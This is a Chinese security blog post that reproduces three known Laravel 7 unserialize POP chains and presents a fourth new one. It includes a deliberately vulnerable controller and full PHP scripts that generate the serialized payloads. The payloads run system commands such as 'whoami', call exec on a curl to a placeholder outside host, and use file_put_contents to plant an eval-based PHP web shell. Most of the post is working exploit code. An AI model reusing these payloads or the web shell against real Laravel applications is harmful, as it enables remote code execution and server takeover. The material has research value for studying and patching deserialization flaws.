ma4ter

Index | Photo | About | Friends | Archives

laravel 7反序列化pop链挖掘

简单学习挖掘一下7版本的pop链子 前三条链子是网上出现过 但是经过我稍稍整合了一下 相当于是复现- -

第四条链为一条新的入口类的链 后面找__call方法跟前面大同小异

先在web.php增加一个路由

Route::get("/","\App\Http\Controllers\IndexController@index");

index控制器

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class IndexController extends Controller
{
    public function index(Request $request)
    {
        echo "ma4ter<br/>";
        unserialize($request->query("data"));
    }
}

链1

入口类为 PendingBroadcast

laravel 7反序列化pop链挖掘

调用任意类的dispatch方法

laravel 7反序列化pop链挖掘

Dispatcher类下的dispatch方法 继续跟进 dispatchToQueue方法

laravel 7反序列化pop链挖掘

回溯到上面 这里需要commandShouldBeQueue方法返回为真 queueResolver可控 跟进 commandShouldBeQueue方法

laravel 7反序列化pop链挖掘

需要满足为command类为 ShouldQueue接口的一个实例

laravel 7反序列化pop链挖掘

使用 QueuedCommand

构造payload

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Bus
{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver=$queueResolver;
        }

    }
}
namespace Illuminate\Foundation\Console
{
    class QueuedCommand{
        public $connection;
        public function __construct($connection)
        {
            $this->connection=$connection;
        }
    }
}
namespace {
    $a = new Illuminate\Bus\Dispatcher('system');
    $b =new Illuminate\Foundation\Console\QueuedCommand('whoami');
    $c = new Illuminate\Broadcasting\PendingBroadcast($a, $b);
    echo urlencode(serialize($c));
}

laravel 7反序列化pop链挖掘

这里直接可以执行命令了

但是还不可以写马进去

所以这里还可以控制queueResolver为一个类 然后connection为一个数组相应的键值为对应的方法名和参数 这样就会去调用这个类的方法

直接参考这篇文章找的eval函数https://blog.csdn.net/qq_38154820/article/details/114610513

链2

入口类仍然为 PendingBroadcast

然后寻找__call方法 当调用一个类不存在的方法时会调用call魔术方法

laravel 7反序列化pop链挖掘

Validator

rule变量这里将传过来的method变量也就是dispatch分割了8位

laravel 7反序列化pop链挖掘

刚好为空

laravel 7反序列化pop链挖掘

$this->extensions可控

跟进callExtension方法

laravel 7反序列化pop链挖掘

这里就可以调用任意函数了

payload:

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Illuminate\Validation
{
    class Validator
    {
        public $extensions = [];
        public function __construct()
        {
            $this->extensions=[''=>'system'];
        }
    }
}


namespace {
    $a=new Illuminate\Validation\Validator();
    $b='whoami';
    $c = new Illuminate\Broadcasting\PendingBroadcast($a, $b);
    echo urlencode(serialize($c));
}

laravel 7反序列化pop链挖掘

链3

入口类仍然为 PendingBroadcast

找到 Queuemanager类下的call魔术方法

laravel 7反序列化pop链挖掘

跟进connection方法

laravel 7反序列化pop链挖掘

跟进resolve方法

laravel 7反序列化pop链挖掘

跟进getConnetctor方法

laravel 7反序列化pop链挖掘

这里可以调用任意函数,但是没参数

我们先回溯上面构造一下

name变量的值可控

laravel 7反序列化pop链挖掘

config变量的值:

laravel 7反序列化pop链挖掘

$driver的值为config变量中driver键对应的值 所以我们要控制config是一个数组

再构造connectors[$driver]为我们想要掉的函数就行了

payload:

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}

namespace Illuminate\Queue
{
    class QueueManager{
        protected $app;
        protected $connectors = [];
        public function __construct()
        {
            $this->connectors=[
                'ma4ter'=>'phpinfo'
            ];
            $this->app = [
                'config'=>[
                    'queue.default'=>'ma4ter',
                    'queue.connections.ma4ter'=>['driver'=>'ma4ter']
                ]
            ];
        }
    }
}

namespace {
    $a=new Illuminate\Queue\QueueManager();
    $c = new Illuminate\Broadcasting\PendingBroadcast($a,null);
    echo urlencode(serialize($c));
}

laravel 7反序列化pop链挖掘

laravel 7反序列化pop链挖掘

再去找一个可以执行带参数的方法 Handler类下的handle方法 这里传了三个参数 经查找资料发现exec可以传3个laravel 7反序列化pop链挖掘

当然这里file_put_contents也是可以的

payload:

<?php
namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Whoops\Handler
{

    abstract class Handler
    {
        private $run =null;
        private $inspector = null;
        private $exception = 'curl http://xxxxx:8000/1';

    }
    class CallbackHandler extends Handler{
        protected $callable;

        public function __construct($callable)
        {
            $this->callable = $callable;
        }
    }
}
namespace Illuminate\Queue
{
    class QueueManager{
        protected $app;
        protected $connectors = [];
        public function __construct()
        {
            $obj = new \Whoops\Handler\CallbackHandler('exec');
            $this->connectors=[
                'ma4ter'=>[$obj,'handle']
            ];
            $this->app = [
                'config'=>[
                    'queue.default'=>'ma4ter',
                    'queue.connections.ma4ter'=>['driver'=>'ma4ter']
                ]
            ];
        }
    }
}

namespace {
    $a=new Illuminate\Queue\QueueManager();
    $c = new Illuminate\Broadcasting\PendingBroadcast($a,null);
    echo urlencode(serialize($c));
}

laravel 7反序列化pop链挖掘

新链4

入口类为 PendingResourceRegistration

laravel 7反序列化pop链挖掘

laravel 7反序列化pop链挖掘

找__call InvokableComponentVariable

laravel 7反序列化pop链挖掘

这里调任意方法了就可以

直接用上面的 Handler类就可以了

payload:

<?php
namespace Illuminate\Routing
{
    class PendingResourceRegistration
    {
        protected $registrar;
        public function __construct($registrar)
        {
            $this->registrar = $registrar;
        }
    }
}

namespace Whoops\Handler
{

    abstract class Handler
    {
        private $run =null;
        private $inspector = '<?php @eval($_POST[1]); ?>';
        private $exception = '1.php';

    }
    class CallbackHandler extends Handler{
        protected $callable;

        public function __construct($callable)
        {
            $this->callable = $callable;
        }
    }
}

namespace Illuminate\View
{
    class InvokableComponentVariable
    {
        protected $callable;
        public function __construct()
        {
            $obj = new \Whoops\Handler\CallbackHandler('file_put_contents');
            $this->callable = [$obj,'handle'];

        }
    }
}
namespace {
    $a=new Illuminate\View\InvokableComponentVariable();
    $c = new Illuminate\Routing\PendingResourceRegistration($a,null);
    echo urlencode(serialize($c));
}